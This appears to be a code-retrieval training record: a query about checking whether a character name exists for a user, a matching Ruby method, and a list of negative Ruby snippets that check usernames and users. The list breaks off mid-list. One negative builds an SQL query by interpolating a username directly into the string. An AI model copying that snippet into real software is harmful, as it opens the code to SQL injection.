"def execute(setup)\n @action.call(setup)\n end",
"def define_action_helpers?; end",
"def set_actions\n actions :all\n end",
"def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"def before_actions(*logic)\n self.before_actions = logic\n end",
"def setup_handler\n end",
"def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def workflow\n end",
"def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"def process_action(...)\n send_action(...)\n end",
"def before_dispatch(env); end",
"def after_actions(*logic)\n self.after_actions = logic\n end",
"def setup\n # override and do something appropriate\n end",
"def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"def setup(_context)\n end",
"def setup(resources) ; end",
"def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"def determine_valid_action\n\n end",
"def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"def startcompany(action)\n @done = true\n action.setup\n end",
"def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"def setup(&block)\n define_method(:setup, &block)\n end",
"def setup\n transition_to(:setup)\n end",
"def setup\n transition_to(:setup)\n end",
"def action\n end",
"def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"def config(action, *args); end",
"def setup\n @setup_proc.call(self) if @setup_proc\n end",
"def before_action \n end",
"def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"def action\n end",
"def matt_custom_action_begin(label); end",
"def setup\n # override this if needed\n end",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"def after(action)\n invoke_callbacks *options_for(action).after\n end",
"def pre_task\n end",
"def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"def setup_signals; end",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"def initialize(*args)\n super\n @action = :set\nend",
"def after_set_callback; end",
"def setup\n #implement in subclass;\n end",
"def lookup_action; end",
"def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"def release_actions; end",
"def around_hooks; end",
"def save_action; end",
"def setup(easy)\n super\n easy.customrequest = @verb\n end",
"def action_target()\n \n end",
"def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"def before_setup\n # do nothing by default\n end",
"def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"def default_action; end",
"def setup(&blk)\n @setup_block = blk\n end",
"def callback_phase\n super\n end",
"def advice\n end",
"def _handle_action_missing(*args); end",
"def duas1(action)\n action.call\n action.call\nend",
"def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end",
"def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
"def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend"
] |
[
"0.6163163",
"0.6045976",
"0.5946146",
"0.591683",
"0.5890051",
"0.58349305",
"0.5776858",
"0.5703237",
"0.5703237",
"0.5652805",
"0.5621621",
"0.54210985",
"0.5411113",
"0.5411113",
"0.5411113",
"0.5391541",
"0.53794575",
"0.5357573",
"0.53402257",
"0.53394014",
"0.53321576",
"0.53124547",
"0.529654",
"0.5296262",
"0.52952296",
"0.52600986",
"0.52442724",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.5232394",
"0.523231",
"0.5227454",
"0.52226824",
"0.52201617",
"0.5212327",
"0.52079266",
"0.52050185",
"0.51754695",
"0.51726824",
"0.51710224",
"0.5166172",
"0.5159343",
"0.51578903",
"0.51522785",
"0.5152022",
"0.51518047",
"0.51456624",
"0.51398855",
"0.5133759",
"0.5112076",
"0.5111866",
"0.5111866",
"0.5110294",
"0.5106169",
"0.509231",
"0.50873137",
"0.5081088",
"0.508059",
"0.50677156",
"0.50562143",
"0.5050554",
"0.50474834",
"0.50474834",
"0.5036181",
"0.5026331",
"0.5022976",
"0.5015441",
"0.50121695",
"0.5000944",
"0.5000019",
"0.4996878",
"0.4989888",
"0.4989888",
"0.49864885",
"0.49797225",
"0.49785787",
"0.4976161",
"0.49683493",
"0.4965126",
"0.4958034",
"0.49559742",
"0.4954353",
"0.49535993",
"0.4952725",
"0.49467874",
"0.49423352",
"0.49325448",
"0.49282882",
"0.49269363",
"0.49269104",
"0.49252945",
"0.4923091",
"0.49194667",
"0.49174926",
"0.49173003",
"0.49171105",
"0.4915879",
"0.49155936"
] |
0.0
|
-1
|
Never trust parameters from the scary internet, only allow the white list through.
|
def post_params
params.require(:question).permit(:quesbox)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def allow_params_authentication!; end",
"def allowed_params\n ALLOWED_PARAMS\n end",
"def default_param_whitelist\n [\"mode\"]\n end",
"def param_whitelist\n [:role, :title]\n end",
"def expected_permitted_parameter_names; end",
"def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"def permitir_parametros\n \t\tparams.permit!\n \tend",
"def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end",
"def param_whitelist\n [:rating, :review]\n end",
"def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end",
"def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end",
"def valid_params_request?; end",
"def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end",
"def allowed_params\n params.require(:allowed).permit(:email)\n end",
"def permitted_params\n []\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end",
"def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend",
"def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end",
"def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end",
"def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end",
"def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end",
"def safe_params\n params.require(:user).permit(:name)\n end",
"def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend",
"def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"def check_params; true; end",
"def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"def quote_params\n params.permit!\n end",
"def valid_params?; end",
"def paramunold_params\n params.require(:paramunold).permit!\n end",
"def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend",
"def filtered_parameters; end",
"def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end",
"def filtering_params\n params.permit(:email, :name)\n end",
"def check_params\n true\n end",
"def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend",
"def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend",
"def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end",
"def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end",
"def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend",
"def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end",
"def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end",
"def active_code_params\n params[:active_code].permit\n end",
"def filtering_params\n params.permit(:email)\n end",
"def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end",
"def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end",
"def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end",
"def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end",
"def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end",
"def list_params\n params.permit(:name)\n end",
"def filter_parameters; end",
"def filter_parameters; end",
"def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end",
"def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end",
"def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end",
"def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end",
"def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end",
"def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"def url_whitelist; end",
"def admin_social_network_params\n params.require(:social_network).permit!\n end",
"def filter_params\n params.require(:filters).permit(:letters)\n end",
"def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end",
"def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end",
"def sensitive_params=(params)\n @sensitive_params = params\n end",
"def permit_request_params\n params.permit(:address)\n end",
"def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end",
"def secure_params\n params.require(:location).permit(:name)\n end",
"def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end",
"def question_params\n params.require(:survey_question).permit(question_whitelist)\n end",
"def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end",
"def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end",
"def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end",
"def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end",
"def url_params\n params[:url].permit(:full)\n end",
"def backend_user_params\n params.permit!\n end",
"def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend",
"def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end",
"def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end",
"def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end",
"def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end",
"def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end",
"def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end",
"def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end",
"def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end"
] |
[
"0.69792545",
"0.6781151",
"0.67419964",
"0.674013",
"0.6734356",
"0.6591046",
"0.6502396",
"0.6496313",
"0.6480641",
"0.6477825",
"0.64565",
"0.6438387",
"0.63791263",
"0.63740575",
"0.6364131",
"0.63192815",
"0.62991166",
"0.62978333",
"0.6292148",
"0.6290449",
"0.6290076",
"0.62894756",
"0.6283177",
"0.6242471",
"0.62382483",
"0.6217549",
"0.6214457",
"0.6209053",
"0.6193042",
"0.6177802",
"0.6174604",
"0.61714715",
"0.6161512",
"0.6151757",
"0.6150663",
"0.61461",
"0.61213595",
"0.611406",
"0.6106206",
"0.6105114",
"0.6089039",
"0.6081015",
"0.6071004",
"0.60620916",
"0.6019971",
"0.601788",
"0.6011056",
"0.6010898",
"0.6005122",
"0.6005122",
"0.6001556",
"0.6001049",
"0.59943926",
"0.5992201",
"0.59909594",
"0.5990628",
"0.5980841",
"0.59669393",
"0.59589154",
"0.5958826",
"0.5957911",
"0.5957385",
"0.5953072",
"0.59526145",
"0.5943361",
"0.59386164",
"0.59375334",
"0.59375334",
"0.5933856",
"0.59292704",
"0.59254247",
"0.5924164",
"0.59167904",
"0.59088355",
"0.5907542",
"0.59064597",
"0.5906243",
"0.5898226",
"0.589687",
"0.5896091",
"0.5894501",
"0.5894289",
"0.5891739",
"0.58860534",
"0.5882406",
"0.587974",
"0.58738774",
"0.5869024",
"0.58679986",
"0.5867561",
"0.5865932",
"0.5864461",
"0.58639693",
"0.58617616",
"0.5861436",
"0.5860451",
"0.58602303",
"0.5854586",
"0.58537364",
"0.5850427",
"0.5850199"
] |
0.0
|
-1
|
Checks if a charname exists for a given User
|
def exists?(user, charname)
#TODO: Figure out why querying for user fails
not Character.first(:user_id => user._id, :name => charname).nil?
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def char_taken?(char)\n check_char = Character.find_by_name(char.name)\n if check_char == nil \n \"no_entry\"\n else\n if check_char.user_id == 0\n \"unassigned\"\n else\n check_char.user.name\n end\n end\n end",
"def user_exists?(name)\n Etc.getpwnam(name).name == name\n rescue ArgumentError\n false\n end",
"def username_exists?(username)\n return User.find_by_username(username.downcase) != nil\nend",
"def does_user_exist?(username)\n user = UsersModel.find_by(:name => username.to_s)\n if user\n return true\n else\n return false\n end\nend",
"def check_name(new_username)\n db = connect_to_database()\n if db.execute(\"SELECT * FROM users WHERE Username =?\", new_username) != []\n return true\n else \n return false\n end \n end",
"def valid_username?(name)\n\t\t$users_and_passwords.each do |element|\n\t\t\tif element[USERNAME] == name\n\t\t\t\t@username=name\n\t\t\t\treturn true\n\t\t\tend\n\t\tend\t\t\t\n\t\treturn false\n\tend",
"def does_user_exist(user_name)\n user = Account.find_by(:user_name => user_name)\n if user\n return true\n else\n return false\n end\n end",
"def does_user_exist(user_name)\n user = Account.find_by(:user_name => user_name)\n if user\n return true\n else\n return false\n end\n end",
"def username_exists?(params)\n !!User.find_by(username: params[:username])\n end",
"def does_user_exist (username)\n user = Account.find_by(:user_name=> username)\n if user\n return true\n else\n return false\n end\nend",
"def isUserValid?(user_name)\n @users.each do |user|\n if user.name == user_name\n then\n print \"User found!\"\n return true\n end\n end\n false\n end",
"def does_user_exist(username)\n user = Account.find_by(:user_name => username)\n if user\n return true\n else\n return false\n end\nend",
"def namecheck(name)\n # puts(\"looking for name\")\n if @users.has_key?(name) == true\n return true\n else\n # puts(\"name not found?\")\n return false\n end\n end",
"def user_exists?(username)\n users(username: username).present?\n end",
"def user_exists?(username)\n !!Etc.getpwnam(username) rescue false\nend",
"def is_existing_user(db, username)\n username_arr = db.execute(\"SELECT username FROM users\")\n username_arr.each do |user|\n if user[0] == username\n return true\n end\n end\n return false\nend",
"def username_exists?(username)\n return User.find_by_username(username) != nil\nend",
"def exists?(name)\n find_user(name)&.size != 0\n end",
"def valid_char_entry(char_name, user)\n hash = get_char_info(char_name)\n if hash['data']['results'].empty?\n puts \"This character cannot be found.\"\n else\n hash\n end\n end",
"def username_reserved?\n ReservedUsernames.include?(username)\n end",
"def existing_username\n valid = true\n existing_username = DATABASE.execute(\"SELECT * FROM members WHERE username = '#{username}';\")\n \n if !existing_username.empty?\n valid = false\n end\n return valid\n end",
"def user_has? name\n\t\tuid = Sdb[:user_info].filter(:name => name).get(:uid)\n\t\tuid ? uid : nil\n\tend",
"def user_exists?(name)\n @users.member?(name)\n end",
"def user_special_character(user)\n characters = ['!', '#', '$', ' ']\n if !characters.select { |value| user.include? value }.empty?\n 'Sorry, user name cannot have a special characters.'\n else\n 'Yay, user name does not includes special characters.'\n end\nend",
"def check_user(db, name)\n name_check = db.execute(\"SELECT name FROM user WHERE name=(?)\", [name])\n if name_check[0] != nil\n true\n else\n false\n end\nend",
"def hasuser? username\n\t\t@cf.usermanager.user? username\t\t\n\tend",
"def charities_exist\n exists = false\n User.all.each do |r|\n if User.is_charity(r.id)\n exists = true\n break\n end\n end\n exists\n end",
"def check_create_user_name_is_valid\n return self.name != \"\" ? true : false\n end",
"def user_exists?(username)\n Sys::Admin.get_user(username)\n true\n rescue\n false\n end",
"def username_exist\n user = User.find_for_database_authentication(username: params[:user][:username])\n if user\n render json: {status: 500, message: \"Username is already taken.\"}\n else\n render json: {status: 200, message: \"Username is available.\"}\n end\n end",
"def user_exists(name)\n self.all.any?{|user| user.name == name}\n end",
"def does_user_exist(username)\n # note :db_column_name syntax like \"params[:id]\"\n user = Account.find_by(:user_name => username)\n if user\n return true\n else\n return false\n end\nend",
"def user_exists?\n \t\tself.errors.add(:name, \"does not exist!\") unless self.user_id.present?\n \tend",
"def exists?(username)\n !!find(username)\n end",
"def _user? name\n\t\tuid = DB[:_user].filter(:name => name).get(:uid)\n\t\tuid ? true : false\n\tend",
"def username_arg_ok? username\n return false if username.nil?\n return false unless (1..16) === username.length\n return false unless username.match /\\A[0-9a-zA-Z]*\\z/\n \n # oh? okay, all good.\n true\n end",
"def user_exists?(name, host = nil)\n user = host ? ::MySQL::User.find_by_username_and_host(name, host) : ::MySQL::User.find_by_username(name)\n !user.nil?\n end",
"def username_exist(username)\n if $db.execute(\"SELECT username_downcase from users WHERE username_downcase = ?\", username.downcase) != []\n return true\n else\n return false\n end\nend",
"def user_display_name_exists?(display_name)\n @users.values.detect { |user| user.display_name == display_name }\n end",
"def validate_username\n if User.where(email: username).exists? || User.where(username: username).exists? \n errors.add(:username, :invalid)\n end\n end",
"def username_exists?(usernames, username)\n !usernames[username].nil?\nend",
"def user?(username)\n\t\t\t\tif(users.has_key?(username))\n\t\t\t\t\treturn(true)\n\t\t\t\tend\n\n\t\t\t\treturn(false)\n\t\t\tend",
"def check_user_exists\n not_a_user = { \"text\": \"You ain't a user - please sign up with this link: ENV['BASE_URL']/users/sign_up\" }\n unless User.exists?(username: params[:user_name])\n puts params[:user_name]\n render json: not_a_user\n end\n end",
"def validate_username\n if User.where(email: username).exists?\n errors.add(:username, :invalid)\n end\n end",
"def validate_username\n if User.where(email: username).exists?\n errors.add(:username, :invalid)\n end\n end",
"def check_username\n if /[a-zA-Z0-9_-]/.match(params[:username])\n user = User.username(params[:username])\n if user.blank?\n render :json => [\"free\", \":)\"]\n else\n render :json => [\"taken\", \"Sorry, username exists!\"]\n end\n else\n render :json => [\"Letters, numbers, dashes and underscores only please :)\"]\n end\n end",
"def check_duplicate_user(database, username)\n\tcheck_command = \"Select * from users where name = '#{username}'\"\n\tif database.execute(check_command).length > 0\n\t\treturn true\n\telse \n\t\treturn false \n\tend \nend",
"def character_exist?(filename)\n test_file_existence(filename, Characters_Path, @character_data)\n end",
"def character_valid?(character)\n Amiiboproject::Amiibo.all.any? {|amiibo| amiibo.character.downcase == character}\n end",
"def _user? name\n\t\tuid = Sdb[:_user].filter(:name => name).get(:uid)\n\t\tuid ? uid : nil\n\tend",
"def does_exist(username)\n @user_manager.exists?(username)\n end",
"def validate_username\n if User.where(email: username).exist?\n errors.add(:username, :invalid)\n end\n end",
